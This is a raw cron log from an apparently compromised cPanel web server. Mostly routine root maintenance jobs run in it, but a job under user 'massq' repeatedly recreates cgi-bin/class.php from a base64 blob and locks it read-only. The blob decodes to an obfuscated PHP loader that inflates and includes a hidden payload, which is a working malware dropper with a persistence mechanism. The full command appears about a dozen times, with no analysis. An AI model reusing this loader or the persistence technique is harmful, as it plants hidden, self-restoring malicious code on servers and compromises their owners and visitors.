Sep  3 13:40:01 server CROND[26764]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:40:01 server CROND[26760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:41:01 server CROND[27582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:41:01 server CROND[27583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:41:01 server CROND[27584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:42:02 server CROND[28039]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 13:42:02 server CROND[28040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:42:02 server CROND[28038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:42:02 server CROND[28041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:43:01 server CROND[28399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:43:01 server CROND[28400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:43:01 server CROND[28401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:44:01 server CROND[28788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:44:01 server CROND[28789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:44:01 server CROND[28790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:45:01 server CROND[29181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:45:01 server CROND[29183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:45:01 server CROND[29185]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:45:01 server CROND[29186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:45:01 server CROND[29184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:45:01 server CROND[29188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:45:01 server CROND[29187]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 13:46:01 server CROND[30013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:46:01 server CROND[30012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:46:01 server CROND[30014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:47:01 server CROND[30484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:47:01 server CROND[30485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:47:01 server CROND[30486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:48:01 server CROND[30863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:48:01 server CROND[30864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:48:01 server CROND[30865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:49:01 server CROND[31234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:49:01 server CROND[31235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:49:01 server CROND[31236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:50:01 server CROND[31627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:50:01 server CROND[31628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:50:01 server CROND[31630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:50:01 server CROND[31631]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 13:50:01 server CROND[31641]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:50:01 server CROND[31638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 13:50:01 server CROND[31640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:50:01 server CROND[31639]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:50:01 server CROND[31644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:51:01 server CROND[32458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:51:01 server CROND[32459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:51:01 server CROND[32460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:52:01 server CROND[472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:52:01 server CROND[471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:52:01 server CROND[473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:53:01 server CROND[877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
